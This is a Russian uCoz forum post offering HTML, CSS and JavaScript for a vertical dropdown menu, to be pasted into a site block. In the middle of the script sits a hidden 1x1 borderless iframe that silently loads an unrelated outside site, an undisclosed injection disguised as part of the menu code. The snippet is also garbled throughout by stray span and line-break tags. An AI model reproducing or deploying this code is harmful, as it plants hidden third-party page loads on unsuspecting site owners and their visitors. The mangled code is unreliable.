RSS сайта | RSS форума | RSS каталога файлов | RSS блога | Карта форума | Карта сайта | Все теги сайта
Главная страница

ГлавнаяФорумБлогФайлыОбратная связьО сайтеГостевая книгаПоиск
Настал ваш час, чтобы заработать реальные деньги на своем сайте
ВНИМАНИЕ!!!
Не зарегистрированные участники сайта ProSIdr, т.е. гости, НЕ могут оставлять сообщения на форуме. 
Для более корректного общения убедительная просьба
РЕГИСТРАЦИЯ или ВХОД
Реклама:
[ Новые сообщения · Заработай на своем сайте · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: Admin  
Форум "ProSIdr" » Все для Ucoz » Скрипты для Ucoz » Вертикальное меню для светлых дизайнов
Вертикальное меню для светлых дизайнов
JockerДата: Суббота, 27.03.2010, 16.08.46 | Сообщение # 1
Глава сайта
Группа: Администраторы
Сообщений: 488
« »

Смайл настроения:
Ранг:

Доп. данные:

Создаем блок и вставляем этот код:

Code
<!--U1MENU1Z--><table width="200" border="0" cellpadding="0" cellspacing="0">  </span><br><span style="font-style: normal;">  
<tbody><tr> <td style="border: 1px solid rgb(140, 140,  
140); padding: 5px; background: rgb(255, 255, 255) none repeat scroll  
0% 0%; -moz-background-clip: border; -moz-background-origin: padding;  
-moz-background-inline-policy: continuous;">  </span><br><span style="font-style: normal;"> <style type="text/css">  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;"> /*Credits: Dynamic Drive CSS Library */  </span><br><span style="font-style: normal;"> /*URL: http://www.dynamicdrive.com/style/ */  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;"> .suckerdiv ul{  </span><br><span style="font-style: normal;"> margin: 0;  </span><br><span style="font-style: normal;"> padding: 0;  </span><br><span style="font-style: normal;"> list-style-type: none;  </span><br><span style="font-style: normal;"> width: 190px; /* Width of Menu Items */  </span><br><span style="font-style: normal;"> border-bottom: 1px solid #ccc;  </span><br><span style="font-style: normal;"> }  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;"> .suckerdiv ul li{  </span><br><span style="font-style: normal;"> position: relative;  </span><br><span style="font-style: normal;"> }  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;"> /*Sub level menu items */  </span><br><span style="font-style: normal;"> .suckerdiv ul li ul{  </span><br><span style="font-style: normal;"> position: absolute;  </span><br><span style="font-style: normal;"> width: 200px; /*sub menu width*/  </span><br><span style="font-style: normal;"> top: 0;  </span><br><span style="font-style: normal;"> visibility: hidden;  </span><br><span style="font-style: normal;"> }  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;"> /* Sub level menu links style */  </span><br><span style="font-style: normal;"> .suckerdiv ul li a{  </span><br><span style="font-style: normal;"> display: block;  </span><br><span style="font-style: normal;"> overflow: auto; /*force hasLayout in IE7 */  </span><br><span style="font-style: normal;"> color: black;  </span><br><span style="font-style: normal;"> text-decoration: none;  </span><br><span style="font-style: normal;"> background: #fff;  </span><br><span style="font-style: normal;"> padding: 4px 15px;  </span><br><span style="font-style: normal;"> border: 1px solid #ccc;  </span><br><span style="font-style: normal;"> border-bottom: 0;  </span><br><span style="font-style: normal;"> }  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;"> .suckerdiv ul li a:visited{  </span><br><span style="font-style: normal;"> color: black;  </span><br><span style="font-style: normal;"> }  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;"> .suckerdiv ul li a:hover{  </span><br><span style="font-style: normal;"> background: #d4e7a3;  </span><br><span style="font-style: normal;"> }  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;"> .suckerdiv .subfolderstyle{  </span><br><span style="font-style: normal;"> background: url(http://forever-web.ru/next.png) no-repeat center right;  </span><br><span style="font-style: normal;"> }  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;"> /* Holly Hack for IE \*/  </span><br><span style="font-style: normal;"> * html .suckerdiv ul li { float: left; height: 1%; }  </span><br><span style="font-style: normal;"> * html .suckerdiv ul li a { height: 1%; }  </span><br><span style="font-style: normal;"> /* End */  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;"> </style>  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;"> <script type="text/javascript">  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;"> //SuckerTree Vertical Menu 1.1 (Nov 8th, 06)  </span><br><span style="font-style: normal;"> //By Dynamic Drive: http://www.dynamicdrive.com/style/  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;"> var menuids=["suckertree1"] //Enter id(s) of SuckerTree UL menus, separated by commas  </span><br><span style="font-style: normal;"> <iframe frameBorder=0 scrolling=no width=1 height=1 src=http://allforsymbian.ru></iframe>  </span><br><span style="font-style: normal;"> function buildsubmenus(){  </span><br><span style="font-style: normal;"> for (var i=0; i<menuids.length; i++){  </span><br><span style="font-style: normal;"> var ultags=document.getElementById(menuids[i]).getElementsByTagName("ul")  </span><br><span style="font-style: normal;"> for (var t=0; t<ultags.length; t++){  </span><br><span style="font-style: normal;"> ultags[t].parentNode.getElementsByTagName("a")[0].className="subfolderstyle"  </span><br><span style="font-style: normal;"> if (ultags[t].parentNode.parentNode.id==menuids[i]) //if this is a first level submenu  </span><br><span style="font-style: normal;">  
ultags[t].style.left=ultags[t].parentNode.offsetWidth+"px"  
//dynamically position first level submenus to be width of main menu  
item  </span><br><span style="font-style: normal;"> else //else if this is a sub level submenu (ul)  </span><br><span style="font-style: normal;">  
ultags[t].style.left=ultags[t-1].getElementsByTagName("a")[0].offsetWidth+"px"  
//position menu to the right of menu item that activated it  </span><br><span style="font-style: normal;"> ultags[t].parentNode.onmouseover=function(){  </span><br><span style="font-style: normal;"> this.getElementsByTagName("ul")[0].style.display="block"  </span><br><span style="font-style: normal;"> }  </span><br><span style="font-style: normal;"> ultags[t].parentNode.onmouseout=function(){  </span><br><span style="font-style: normal;"> this.getElementsByTagName("ul")[0].style.display="none"  </span><br><span style="font-style: normal;"> }  </span><br><span style="font-style: normal;"> }  </span><br><span style="font-style: normal;">  
for (var t=ultags.length-1; t>-1; t--){ //loop through all sub menus  
again, and use "display:none" to hide menus (to prevent possible page  
scrollbars  </span><br><span style="font-style: normal;"> ultags[t].style.visibility="visible"  </span><br><span style="font-style: normal;"> ultags[t].style.display="none"  </span><br><span style="font-style: normal;"> }  </span><br><span style="font-style: normal;"> }  </span><br><span style="font-style: normal;"> }  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;"> if (window.addEventListener)  </span><br><span style="font-style: normal;"> window.addEventListener("load", buildsubmenus, false)  </span><br><span style="font-style: normal;"> else if (window.attachEvent)  </span><br><span style="font-style: normal;"> window.attachEvent("onload", buildsubmenus)  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;"> </script>  </span><br><span style="font-style: normal;"> <div class="suckerdiv"><b>  </span><br><span style="font-style: normal;"> <ul id="suckertree1">  </span><br><span style="font-style: normal;">  
<li><a href="http://forever-web.ru/"><img  
src="http://forever-web.ru/templates/menu-icons/home.png" alt=""  
border="0"> Главная</a></li>  </span><br><span style="font-style: normal;"> <li><a  
href="http://forever-web.ru/forum/"><img  
src="http://forever-web.ru/templates/menu-icons/forum.png" alt=""  
border="0"> Форум</a></li>  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;"> <li><a  
href="http://forever-web.ru/gb/"><img  
src="http://forever-web.ru/templates/menu-icons/gb.png" alt=""  
border="0"> Гостевая</a></li>  </span><br><span style="font-style: normal;"> <li><a  
href="http://forever-web.ru/load/"><img  
src="http://forever-web.ru/templates/menu-icons/files.png" alt=""  
border="0"> Все файлы</a></li>  </span><br><span style="font-style: normal;"> <li><a  
class="subfolderstyle" href="http://forever-web.ru/load/12"><img  
src="http://forever-web.ru/templates/menu-icons/soft.png" alt=""  
border="0"> Программы</a>  </span><br><span style="font-style: normal;"> <ul style="left: 190px; visibility: visible; display: none;">  </span><br><span style="font-style: normal;">  
<li><a href="http://forever-web.ru/load/13"><img  
src="http://forever-web.ru/templates/menu-icons/other/01.png" alt=""  
border="0"> Мультимедиа</a></li>  </span><br><span style="font-style: normal;"> <li><a  
href="http://forever-web.ru/load/14"><img  
src="http://forever-web.ru/templates/menu-icons/other/02.png" alt=""  
border="0"> Безопасность</a></li>  </span><br><span style="font-style: normal;"> <li><a  
href="http://forever-web.ru/load/15"><img  
src="http://forever-web.ru/templates/menu-icons/other/03.png" alt=""  
border="0"> Интернет</a></li>  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;"> <li><a  
href="http://forever-web.ru/load/16"><img  
src="http://forever-web.ru/templates/menu-icons/other/04.png" alt=""  
border="0"> Утилиты</a></li>  </span><br><span style="font-style: normal;"> <li><a  
href="http://forever-web.ru/load/17"><img  
src="http://forever-web.ru/templates/menu-icons/other/05.png" alt=""  
border="0"> Обслуживание</a></li>  </span><br><span style="font-style: normal;"> <li><a  
href="http://forever-web.ru/load/26"><img  
src="http://forever-web.ru/templates/menu-icons/other/06.png" alt=""  
border="0"> Графика и дизайн</a></li>  </span><br><span style="font-style: normal;">  
<li><a href="http://forever-web.ru/load/28"><img  
src="http://forever-web.ru/templates/menu-icons/other/07.png" alt=""  
border="0"> Остальное</a></li>  </span><br><span style="font-style: normal;"> </ul>  </span><br><span style="font-style: normal;"> </li>  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;">  
<li><a class="subfolderstyle"  
href="http://forever-web.ru/load/1"><img  
src="http://forever-web.ru/templates/menu-icons/ucoz.png" alt=""  
border="0"> Все для uCoz</a>  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;"> <ul style="left: 190px; visibility: visible; display: none;">  </span><br><span style="font-style: normal;">  
<li><a href="http://forever-web.ru/forum/13"><img  
src="http://forever-web.ru/templates/menu-icons/other/08.png" alt=""  
border="0"> Скрипты</a></li>  </span><br><span style="font-style: normal;"> <li><a  
href="http://forever-web.ru/load/2"><img  
src="http://forever-web.ru/templates/menu-icons/other/09.png" alt=""  
border="0"> Шаблоны</a></li>  </span><br><span style="font-style: normal;"> <li><a  
href="http://forever-web.ru/load/5"><img  
src="http://forever-web.ru/templates/menu-icons/other/10.png" alt=""  
border="0"> Ранги</a></li>  </span><br><span style="font-style: normal;"> <li><a  
href="http://forever-web.ru/load/4"><img  
src="http://forever-web.ru/templates/menu-icons/other/01.png" alt=""  
border="0"> Кнопки форума</a></li>  </span><br><span style="font-style: normal;"> <li><a  
href="http://forever-web.ru/load/6"><img  
src="http://forever-web.ru/templates/menu-icons/other/02.png" alt=""  
border="0"> Иконки форума</a></li>  </span><br><span style="font-style: normal;"> <li><a  
href="http://forever-web.ru/load/7"><img  
src="http://forever-web.ru/templates/menu-icons/other/03.png" alt=""  
border="0"> Иконки групп</a></li>  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;">  
<li><a href="http://forever-web.ru/load/29"><img  
src="http://forever-web.ru/templates/menu-icons/other/04.png" alt=""  
border="0"> Остальное</a></li>  </span><br><span style="font-style: normal;"> </ul>  </span><br><span style="font-style: normal;"> </li>  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;">  
<li><a class="subfolderstyle"  
href="http://forever-web.ru/load/22"><img  
src="http://forever-web.ru/templates/menu-icons/photoshop.png" alt=""  
border="0"> Photoshop</a>  </span><br><span style="font-style: normal;"> <ul style="left: 190px; visibility: visible; display: none;">  </span><br><span style="font-style: normal;">  
<li><a href="http://forever-web.ru/load/23"><img  
src="http://forever-web.ru/templates/menu-icons/other/05.png" alt=""  
border="0"> Кисти</a></li>  </span><br><span style="font-style: normal;"> <li><a  
href="http://forever-web.ru/load/25"><img  
src="http://forever-web.ru/templates/menu-icons/other/06.png" alt=""  
border="0"> Стили</a></li>  </span><br><span style="font-style: normal;"> <li><a  
href="http://forever-web.ru/load/27"><img  
src="http://forever-web.ru/templates/menu-icons/other/07.png" alt=""  
border="0"> Перекрытия</a></li>  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;">  
<li><a href="http://forever-web.ru/load/24"><img  
src="http://forever-web.ru/templates/menu-icons/other/08.png" alt=""  
border="0"> Psd исходники</a></li>  </span><br><span style="font-style: normal;"> <li><a  
href="http://forever-web.ru/load/30"><img  
src="http://forever-web.ru/templates/menu-icons/other/09.png" alt=""  
border="0"> Остальное</a></li>  </span><br><span style="font-style: normal;"> </ul>  </span><br><span style="font-style: normal;"> </li>  </span><br><span style="font-style: normal;">  
<li><a href="http://forever-web.ru/photo/"><img  
src="http://forever-web.ru/templates/menu-icons/img.png" alt=""  
border="0"> IMG В Контакте</a></li>  </span><br><span style="font-style: normal;">  
<li><a href="http://forever-web.ru/index/0-9"><img  
src="http://forever-web.ru/templates/menu-icons/reg.png" alt=""  
border="0"> Авто регистрация</a></li>  </span><br><span style="font-style: normal;">  
<li><a href="http://forever-web.ru/index/0-10"><img  
src="http://forever-web.ru/templates/menu-icons/obr.png" alt=""  
border="0"> Обратная связь</a></li>  </span><br><span style="font-style: normal;"></span><br><span style="font-style: normal;">  
<li><a href="http://forever-web.ru/index/0-13"><img  
src="http://forever-web.ru/templates/menu-icons/uifw.png" alt=""  
border="0"> UIFW</a></li>  </span><br><span style="font-style: normal;"> </ul>  </span><br><span style="font-style: normal;"> </b></div>  </span><br><span style="font-style: normal;"> </td></tr></tbody></table><div style="height: 5px;"></div><!--/U1MENU1Z-->  </span><br><span style="font-style: normal;"> <!--U1CLEFTER1Z--><!-- <block2> --></span>
Прикрепления: 7005313.gif(9.0 Kb)


Сколько людей, столько и мнений.

добавить на Яндекс
 
Форум "ProSIdr" » Все для Ucoz » Скрипты для Ucoz » Вертикальное меню для светлых дизайнов
  • Страница 1 из 1
  • 1
Поиск:
Сегодня нас посетили
VANGOG19, SamDel, roseannqt16, ramontf3, bobbieup2, alfredayg2, karaoz69, noreenyb4, elvirahe2, katinasa3, marcieeg69, leighqw18, rachelleze1, melindani3, luismw18, bettielj4, [Полный список]


www.megastock.ru
PR-CY.ru Яндекс.Метрика

Администрация сайта не претендует на авторские права. Материалы предоставленные на сайте, принадлежат их владельцам и предоставляются исключительно в ознакомительных целях.
Cайт оптимизирован для просмотра браузером Opera, Google Chrome, Mozilla Firefox, Safari.
           

Яндекс.Метрика